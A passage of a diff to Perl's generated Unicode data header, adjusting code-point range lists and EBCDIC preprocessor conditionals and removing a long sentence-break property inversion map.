 	0x1D7A9,
 	0x1D7AA,
 	0x1D7C3,
 	0x1D7C4,
-	0x1D7CA,
-	0x1D7CB,
 	0x1D7CC,
 	0x1D7CE,
 	0x1D800,
@@ -46912,8 +163069,6 @@
 	0x1DA76,
 	0x1DA84,
 	0x1DA85,
-	0x1DA88,
-	0x1DA89,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -46933,8 +163088,6 @@
 	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
-	0x1E922,
-	0x1E944,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
@@ -47004,14 +163157,6 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
-	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
-	0x1F170,
-	0x1F18A,
-	0x1F676,
-	0x1F679,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -47020,3066 +163165,37 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
-	0xE0001,
-	0xE0002,
-	0xE0020,
-	0xE0080,
 	0xE0100,
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* ASCII/Latin1 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-#define SB_ENUM_COUNT 16
-
-typedef enum {
-	SB_Other = 0,
-	SB_ATerm = 1,
-	SB_CR = 2,
-	SB_Close = 3,
-	SB_Extend = 4,
-	SB_Format = 5,
-	SB_LF = 6,
-	SB_Lower = 7,
-	SB_Numeric = 8,
-	SB_OLetter = 9,
-	SB_SContinue = 10,
-	SB_STerm = 11,
-	SB_Sep = 12,
-	SB_Sp = 13,
-	SB_Upper = 14,
-	SB_EDGE = 15
-} SB_enum;
-
-static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 1047 */
-	SB_Other,
-	SB_Sp,
-	SB_Other,
-	SB_Sp,
-	SB_CR,
-	SB_Other,
-	SB_LF,
-	SB_Other,
-	SB_Sep,
-	SB_Other,
-	SB_Sp,
-	SB_Lower,
-	SB_Other,
-	SB_ATerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Lower,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_STerm,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Upper,
-	SB_Lower,
-	SB_Close,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Close,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Upper,
-	SB_Format,
-	SB_Lower,
-	SB_Close,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Numeric,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Lower,
-	SB_OLetter,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Numeric,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Format,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Format,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Format,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Close,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Numeric,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Sp,
-	SB_OLetter,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Format,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Numeric,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_STerm,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Lower,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
